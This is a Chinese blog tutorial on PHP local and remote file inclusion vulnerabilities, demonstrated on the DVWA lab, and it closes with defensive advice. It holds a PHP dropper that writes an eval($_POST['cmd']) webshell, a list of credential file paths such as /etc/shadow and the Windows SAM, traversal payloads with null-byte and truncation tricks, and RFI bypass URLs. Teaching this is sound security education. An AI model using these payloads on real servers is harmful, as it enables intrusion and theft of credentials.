文件包含漏洞学习(一)

事缓则圆 太过着急就会降低标准 希望大家都能找到自己的满分答案。

php中文件包含函数

01.require:

require:函数出现错误时,会直接报错并退出程序执行。

require_once:出错时直接退出;且仅包含依次。在脚本执行期间同一个文件可能被多次引用,确保只包含依次以避免函数重定义、变量重新赋值问题。

02.include:

include:函数出现错误时,会抛出一个警告,程序继续运行。

include_once:函数出现错误时,会抛出警告,且仅包含一次。

文件包含漏洞类型及利用

本地文件包含(LFI):被包含的文件在服务器本地。

利用方式:包含本地敏感文件、上传文件。

远程文件包含(RFI):被包含的文件在远程服务端。

利用方式:包含攻击者指定远程url文件。 

本地文件包含漏洞

包含系统文件

包含上传文件

 下面我们用DVWA来掩饰一下

进入file1.php

发现page的参数变为了file1.php

所以我们可以认为page的参数被包含了。我们可以尝试一下包含本地系统文件。

C:/Windows/win.ini

在WWW里创建一个56.php。

我们尝试一下去包含这个文件

当我们的上传的文件后缀不是php时,如

我们仍可以包含。所以包含文件内容只要符合php语法都能被当成php代码进行解析,无关后缀名是什么。

所以,有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。

一些常见的敏感目录信息路径:
Windows系统:

C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
Linux/Unix系统:

/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

本地文件包含配合日志文件

参考文件日志包含漏洞-CSDN博客

然后我们在其他页面输入后门

然后查看日志文件

发现浏览器自动url编码了。所以我们要抓包传入。

然后再查看发现正常了。

然后再包含日志文件发现后门执行成功

利用file协议包含

显示本地文件:

利用php://filter协议

主要用来查看源码。直接包含php文件时会被解析,不能看到源码,故使用filter协议来读取

利用zip://、baip2://、zlib://协议

zip://、baip2://、zlib://协议利用条件为php版本大于5.3.0,都属于压缩流,可以访问压缩文件中的子文件。

格式:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]

我们在D盘里创建一个1.zip的文件

然后访问,执行成功。

利用phar://协议

类似于zip协议,但是可以使用相对路径。

格式:phar://[压缩文件绝对/相对路径]/[压缩文件内的子文件名]

.

远程文件包含漏洞

包含远程文件

要求:php.ini中设置allow_url_fopen=On(默认)、allow_url_include=On(php5.2后默认为off)

包含远程shell

我们在WWW下创建一个1.txt:

<?php 
$payload="<?php eval(\$_POST['cmd']);?>"
$myfile=fopen('demo.php','w') or die("can't open the file");
fwrite($myfile,$payload);
fclose($myfile);
?>
  1. $payload="<?php eval(\$_POST['cmd']);?>":这一行定义了一个字符串变量$payload,其内容是一个PHP代码片段,它会执行通过HTTP POST方式提交到服务器并在$_POST['cmd']中获取的任何命令。

  2. $myfile=fopen('demo.php','w') or die("can't open the file");:尝试以写入模式('w')打开或创建一个名为demo.php的文件,并将文件句柄赋值给变量$myfile。如果无法打开文件,则脚本停止运行并输出“can't open the file”。

  3. fwrite($myfile, $payload);:使用fwrite函数将之前定义在$payload中的PHP代码写入到$myfile指向的文件(即demo.php)中。

  4. fclose($myfile);:此函数用于关闭已打开的文件资源$myfile,确保写入操作完成且释放系统资源

 访问代码:

然后发现生成了demo代码

然后用蚁剑连接即可

利用php://input协议

主要用来接收post数据,将post请求中的数据作为php代码执行。

也需要开启allow_url_fopen=On(默认)、allow_url_include=On

利用data://协议

将原本的include的文件流重定向到了用户可控制的输入流中。必须再双on的情况下才能正常使用。

本地文件包含绕过方式

#!php
<?php include("inc/".$_GET['file'].".htm");?>

%00截断:条件:magic_quotes_gps=off php版本<5.3.4

?page=../../../../phpinfo.php%00

php内核由c语言实现,因此使用了C语言中的字符串处理函数,在连接字符串时0字节作为字符串的结束符,%00url解码为0×00,magic_quotes_gps开启时会将%00转义为\0的两个单体字符,故不具备截断功能。

%00截断目录遍历:

条件:magic_quotes_gps=off unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris

?page=../../../../var/www/%00

路径长度截断: 条件:php版本小于5.2.8,Windows下目录最大长度为256字节,超出的部分会被丢弃;linux下目录最大长度为4096字节,超出的部分会被丢弃。

?page=../../../../phpinfo.php./././././././.[...]/./././././

点号截断:条件:php版本小于5.2.8,只适用于Windows操作系统,点号需长于256

?page=../../../../phpinfo..................[...]...........

这样就会把强加的丢弃掉了。

远程文件包含绕过方式 

<?php
    $basePath=$_GET['path'];
    require_once $basePath."/action/m_share.php";
?>

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php?

实际执行了:require_once http://localhost/shell.php?/action/m_share.php

将/action/m_share.php作为http://localhost/shell.php的querystring

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php%23

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php%20

文件包含漏洞危害及防御

危害 :获取敏感信息;执行任意命令;获取服务器权限。

防御:

尽量不使用动态包含,无需情况下设置allow_url_include和allow_url_fopen为关闭;

对可以包含的文件进行限制:使用白名单的方式,或者设置包含的目录,open_basedir;

严格检查用户输入,参数中不允许出现../之类的目录跳转符;

严格检查变量是否初始化;

不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

  • 13
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值